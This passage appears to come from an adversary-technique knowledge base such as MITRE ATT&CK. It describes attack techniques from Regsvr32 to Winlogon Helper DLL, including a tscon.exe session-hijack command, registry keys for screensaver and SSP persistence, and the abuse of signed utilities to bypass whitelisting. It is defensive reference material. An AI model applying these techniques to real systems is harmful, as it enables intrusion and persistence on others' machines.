T1121Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.210211 Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.129
Regsvr32Defense Evasion
Execution
T1117Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries.212

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.213 This variation of the technique has been used in campaigns targeting governments.214
Remote Desktop ProtocolLateral MovementT1076Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).215 There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence.216

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user.217 This can be done remotely or locally and with active or disconnected sessions.218 It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf.219
Remote File CopyCommand and Control
Lateral Movement
T1105Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.
Remote ServicesLateral MovementT1021An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.
Remote System DiscoveryDiscoveryT1018Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used.

### Windows

Examples of tools and commands that acquire this information include "ping" or "net view" using Net.

### Mac

Specific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems.

### Linux

Utilities such as "ping" and others can be used to gather information about remote systems.
Replication Through Removable MediaLateral Movement
Credential Access
T1091Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.
RootkitDefense EvasionT1014Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information.115 Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.220 Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems.221222
Rundll32Defense Evasion
Execution
T1085The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.223
Persistence
Privilege Escalation
T1053Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system.227 An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
Scheduled TransferExfiltrationT1029Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
Screen CaptureCollectionT1113Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.

### Mac

On OSX, the native command screencapture is used to capture screenshots.

### Linux

On Linux, there is the native command xwd.108
ScreensaverPersistenceT1180Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.228 The Windows screensaver application scrnsave.exe is located in C:\Windows\System32\ along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:
• SCRNSAVE.exe - set to malicious PE path
• ScreenSaveActive - set to '1' to enable the screensaver
• ScreenSaverIsSecure - set to '0' to not require a password to unlock
• ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.229
ScriptingDefense Evasion
Execution
T1064Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit230, Veil231, and PowerSploit188 are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell.232
Security Software DiscoveryDiscoveryT1063Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.

### Windows

Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

### Mac

It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Security Support ProviderPersistenceT1101Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. 233
Service ExecutionExecutionT1035Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.
Service Registry Permissions WeaknessPersistence
Privilege Escalation
T1058Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions.234 If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Shared WebrootLateral MovementT1051Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured. This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.
Shortcut ModificationPersistenceT1023Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
Software PackingDefense EvasionT1045Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available,235 but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.
Standard Application Layer ProtocolCommand and ControlT1071Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.
Standard Cryptographic ProtocolCommand and ControlT1032Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic. Some adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.
Standard Non-Application Layer ProtocolCommand and ControlT1095Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.236 Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP). ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts;237 however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
System FirmwarePersistenceT1019The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.238239240 System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
System Information DiscoveryDiscoveryT1082An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

### Windows

Example commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories.

### Mac

On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.
System Network Configuration DiscoveryDiscoveryT1016Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.
System Network Connections DiscoveryDiscoveryT1049Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

### Windows

Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net.

### Mac and Linux

In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session".
System Owner/User DiscoveryDiscoveryT1033===Windows===

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.

### Mac

On Mac, the currently logged in user can be identified with users,w, and who.

### Linux

On Linux, the currently logged in user can be identified with w and who.
System Service DiscoveryDiscoveryT1007Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist, and "net start" using Net, but adversaries may also use other tools as well.
System Time DiscoveryDiscoveryT1124The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.241242 An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.242 The information could be useful for performing other techniques, such as executing a file with a Scheduled Task243, or to discover locality information based on time zone to assist in victim targeting.
Taint Shared ContentLateral MovementT1080Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Third-party SoftwareExecution
Lateral Movement
T1072Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.

Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.
TimestompDefense EvasionT1099Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.244
Trusted Developer UtilitiesDefense Evasion
Execution
T1127There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.

### MSBuild

MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.245

Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.246 MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.129

### DNX

The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016.247 DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.

An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX.248

### RCSI

The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution.249 The rcsi.exe binary is signed by Microsoft.250

C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe.250

### WinDbg/CDB

WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools.251 They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.

An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities.252

It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.

### Tracker

The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system.253

An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions.254
Two-Factor Authentication InterceptionCredential AccessT1111Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.

If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.255

Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors.126

Other hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.
Uncommonly Used PortCommand and ControlT1065Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
Valid AccountsDefense Evasion
Persistence
Privilege Escalation
T1078Adversaries may steal the credentials of a specific user or service account using Credential Access techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

Adversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful.

The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.256
Video CaptureCollectionT1125An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.
Web ServiceCommand and ControlT1102Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. Popular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Web ShellPersistence
Privilege Escalation
T1100A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client).257 Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.
Windows Admin SharesLateral MovementT1077Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC\$.

Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB)258 to interact with systems using remote procedure calls (RPCs),259 transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.260

The Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials.161
Windows Management InstrumentationExecutionT1047Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB)258 and Remote Procedure Call Service (RPCS)259 for remote access. RPCS operates over port 135.261 An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement.262
Windows Management Instrumentation Event SubscriptionPersistenceT1084Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts.263 Examples of events that may be subscribed to are the wall clock time or the computer's uptime.264 Several threat groups have reportedly used this technique to maintain persistence.265
Windows Remote ManagementExecution
Lateral Movement
T1028Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).266 It may be called with the winrm command or by any number of programs such as PowerShell.267
Winlogon Helper DLLPersistenceT1004Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.